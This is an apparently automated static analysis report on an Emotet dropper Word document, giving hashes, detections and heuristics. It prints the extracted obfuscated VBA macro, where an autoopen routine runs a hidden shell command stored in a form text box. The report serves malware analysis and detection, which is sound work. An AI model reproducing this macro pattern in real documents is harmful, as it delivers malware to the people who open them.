Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 0eb691e8589cc29a…

MALICIOUS

Office (OLE)

114.8 KB Created: 2018-12-18 13:15:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: a692efc92ac15f5022a6fab5b1ae407f SHA-1: 2dd2b908569527ab672cd8c6523a3d0211a7277b SHA-256: 0eb691e8589cc29aad9519456fc910c85086be44e36a2ab6db5ff3cdce29bd2f
250 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is identified as malicious by ClamAV with the signature 'Doc.Dropper.Emotet-6788101-0'. Static analysis revealed VBA macros, including an autoopen macro, that utilize the Shell() function. This indicates the document is designed to execute arbitrary commands, a common characteristic of Emotet droppers, likely to download and execute a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Dropper.Emotet-6788101-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emotet-6788101-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    On Error Resume Next
pCifP = Array(VRwdKsZ, RVuiN, NNpYnjD, Interaction.Shell(CleanString(UQjDXwiVuthV.TextBox1), 60 - 60), jqphd)
   Select Case panqOTGbszzPMGrW
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
jBNjW
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 853 bytes
SHA-256: 15dc476e4f57a79b2db9e3d418ead75140cf82c97e6ea217c9c967fe44f06c27
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "UQjDXwiVuthV"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
jBNjW
End Sub

Attribute VB_Name = "iBGtcSbMChvhow"
Function jBNjW()
On Error Resume Next
pCifP = Array(VRwdKsZ, RVuiN, NNpYnjD, Interaction.Shell(CleanString(UQjDXwiVuthV.TextBox1), 60 - 60), jqphd)
   Select Case panqOTGbszzPMGrW
            Case 41887094
            DoCwPcjfTFrwqww = 286648471
            DbwDQwwKsPzjnMiiaNwLtKLK = Oct(AAktIzQVIovIBmqDlXNjw + CStr(tNUPkAfFsPoUQzOQjPhO + Log(207825255) - iWZaHHHnzbmVHXZsOPp / Hex(18806950)))
      End Select
End Function

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